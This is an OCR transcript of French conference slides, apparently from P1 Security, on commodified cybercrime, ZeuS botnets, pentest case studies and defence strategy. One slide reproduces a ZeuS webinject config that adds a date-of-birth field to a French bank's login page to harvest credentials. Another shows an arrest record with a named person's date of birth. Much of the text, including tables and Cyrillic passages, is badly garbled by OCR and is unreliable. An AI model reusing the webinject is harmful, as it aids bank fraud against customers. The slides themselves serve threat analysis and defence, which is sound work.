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APT & orfevrerie o

1: Florida Arrest Warrant Photos

) AU rO ra y T\JX, TR Zenia Mercedes Llorente

Hispanic female

Date of birth: 09-24-1983
Arrested: Organized Scheme to
Defraud

L'époque “mythigue’ est
revolue.

“Commodification” du
hacking

Sign in to Gmail with your

Les “orfevres” de lintrusion gle Account‘
se font rare (statistiguement) Usemarme:| \K

Password

Place a I'industrie de “% me on this computer

Masse...
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Prl One Security

Citation de forums hostnes

My favorite quote:

Y1061 33paboTb Ha
MHTepHeTe He HY>XHO

HUYETITO U AdXE MO3IroB

“To make money on Internet you don’t need much, not
even brain” - from online tutorial on how to make
money
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Priority One Security

Dateadded IP address Level Status Files Online SBL

2010-11-23 r 64.22.110.26 Not listed
develstate.com

2010-11-22 tomatoo.in

2010- 22

2010-11-22

AS number Uptime
AS3595
AS51554

AS24540

0
2
018

Not listed
Not listed

2

4

4

4
| |
N uokrown [N SENGESTONN
4

4

4
|
4

4

4

4

]

AS41547
AS41647
AS24540

asigolo  EEEEEEEEN

Editeurs, Competition

2010-11-21
2010- 21
2010-11-20 backorderru.com 213.155.29.56
2010-11-18 193.104.146.55 193.104 6.55
2010-11-19

Protection logicielle mo , ,

2010-11-19 n 100.196.142.18 £ Jonline ]
2010-11-19 bx . online Not listed
2010-11-18  boltizdeh.com 122.224.4.132 Not listed

i . 2010-11-18 co. FastFlux Botnet 5  bnline | Not listed
0OS |ng apuse res|s 20101116 esimraciborz.l B o otlisted
2 2010-11-16 88168 GRITHENN I ot listed

2010-11-16  dscodec.com offline 0 Not listed
2010-11-16 g 5 online 0
2010-11-16  adm.jazteberabim.de online | 0 Not listed

2010-11-16 GRS I ot listed
Forums Su Ort 2010-11-16 i [ SRS I ot listed
) 2010-11-16 ) online | 0 Not listed

2010-11-16 offline 0 Not listed

2010-11-16 Not listed

online | 0
2010-11-16  svetodioduk.net 81.176.236.12 GrliE N [ vot listed

Intermeédiaires ‘Source: abuse.ch

unknown _ Not listed
AN I ot listed
BliAE B ot scea

unknown

AS41665
AS50134
offline Not listed
offline Not listed
offline Not listed

00:00:00
00:00:00
00:00:00
37:02:43

AS41665
AS4134

34:31:34

TIEOM-@0 EOID: - CINENN

13:54:40

ILE:

Exploit packs, SEO
Poisoning, 3rdP

Prix, Monéetisation, (X/43

ebhosting Provider

CPs, monitoring
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Du point de vue technigue

Builders, configs, chiffrement
Administration: du C&GC au-C4]

Furtivite: Fast Flux, Hosting
“Abuse resistant”; P2P; Tor,
VMprotect

Loader, Pack d‘Exploits; Drive
by downloads?, Emails de
masse, marche des exploits,
Faux antivirus

Fonctionnalités financieres

Top ten ZeuS hosting countries (by ZeuS hosts)

ZeuS C&C count country

78 %= United States (US)

71
62
42
17
9

Source; abuse.ch
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“.” Priority One Securlity

Weblnjects

é TextMate File Edit View Text Navigation Bundles Window Help = 4) (= (Charged) £ Thu 08:08 Q
e 06 @ webinjects.txt
SV data_inject
data_end
data_after
</table>
data_end

set_url *banquepopulaire.fr/* GP

data_before

<input type="password" style="font-family: Arial, Helvetica; font-size: 1@pt; color:#000066; background-color:
#e8e8e8;" size="12" maxlength="12" name="passwd" value=>

data_end

data_inject

<tr>

<td colspan="5"><br></td>

</tr>

<td nowrap>

<div align="right"><font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><b>Date de naissance
(JI/MM/AAAA) </b></font> </div></td>

<td>

<input type="text" style="font-family: Arial, Helvetica; font-size: 1@pt; color:#000066; background-color:
#e8e8e8;" size="12" maxlength="12" name="dob" value=>

</td>

data_end

data_after

data_end

set_url http://*.osmp.ru/ GP
data_before

<input type="submit"
data_end

data_inject
Line: 2549 Column: 1 Plain Text H v TabSize: 8 3 —
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Et maintenant Nos experiences directes. ..

CAS CONCRETS
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Cas #1: Attague Massive

. Réutilisation des mémes méthodes “brutes’
. Mass mailing

. Brute forcing

. Social Engineering

. “Scoring” precis des utilisateurs & employés
. Sulvi d’une “compétition jeu” interne

. Bons resultats, formation continuelle des reflexes et suivi des
menaces.
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Cas #2: LegacySandvvich

. Pentest dans un grand
groupe (B2C, 7 millions de
clients)

. “Total Information
Qutsourcing”

. Pentest sur leur infrastructure

. “Malis nous n‘avons pas de
telle infrastructure” (1)

. Conséqguences
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Cas #3:; fraude VolP

Défense

IP Centrex Solution

< I VoiceMaster® Vol P
hd 3 4 JO U rS Tomado M5 E:'illing with Tomado
IP Pho n; Service Package

{-’_‘v N =0

i
A
@ -
l’c ‘0‘3‘/@ \
S I ” . .
g Stergy - S Termination

100k EUR en
communications

gateway
AL S0 Z559%%, ~ Soitswiten
Manguements du cote Al
é

Tornado M5

fournisseurs I P

Tomado M5
IP Phone

Probleme technologigue
mais aussi en terme
d’ “éveil”.
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Cas #4: Démo intrusion telecom SS7 & 3G

(Démonstration de cartographie et attagues SS7 sur réseau
telecom mobile 3G)




Cas

Série de bugs minimes

SNMP v2 obscur (port source)
IPv6 active par defaut

Leaks via Mall

Informations glanées sur
Facelbook

Web App vulnerable
Filtrage imparfait

== Intrusion a distance

(1) P1 Security

rity One Securlty
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Protection: Defense active

. Paradigme “Firewall + Antivirus”, depasse?

. Nouvelles architectures,; “haute interaction”; industrialisation
de la reaction, CERT interne, ...

. Quelle courbe d’apprentissage de I'organisation?

. Double probleme de la.commodification pour I’obtention de
reSSOUrces

. “Mon ingénieur est certifie Cxxxx” ou isolement

. Course R&D, course organisationnelle, course sur le “Threat
intelligence”
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Protection: Et |'offensif?

Nessus, Qualys,

P1 Telecom Auditor, ...

Immunity Canvas,

Core Impact, ...

Consultants,
pentesters

. Face alarealité

- “Un pentest ne sert a rien”
. -Sensibilisation, deblocage
. Tallle = difficulté

. Expertise = difficulté

. Probleme des “modes”
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Conclusion Lo

. Approche “Massive” et approche “Experte” en meme temps

. Regle 80/20
. Cloud infrastructure, mobile apps; gmail- apps: & extensions

. Threat intelligence, CERTS,; monitoring interne et global

. Maturité de la sécurité

. Approche “aggressive” autant pour la déefense que I'attaque
. Parfois, necessite de “preuves”, de deblocages

. Entrainement, formation, exercices, workshops, information
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Questions?

Merci a Fyodor Yarochkin, P1 Labs, TCERT, HNP TSIG, Telecom Security Task Force, FUSR-U




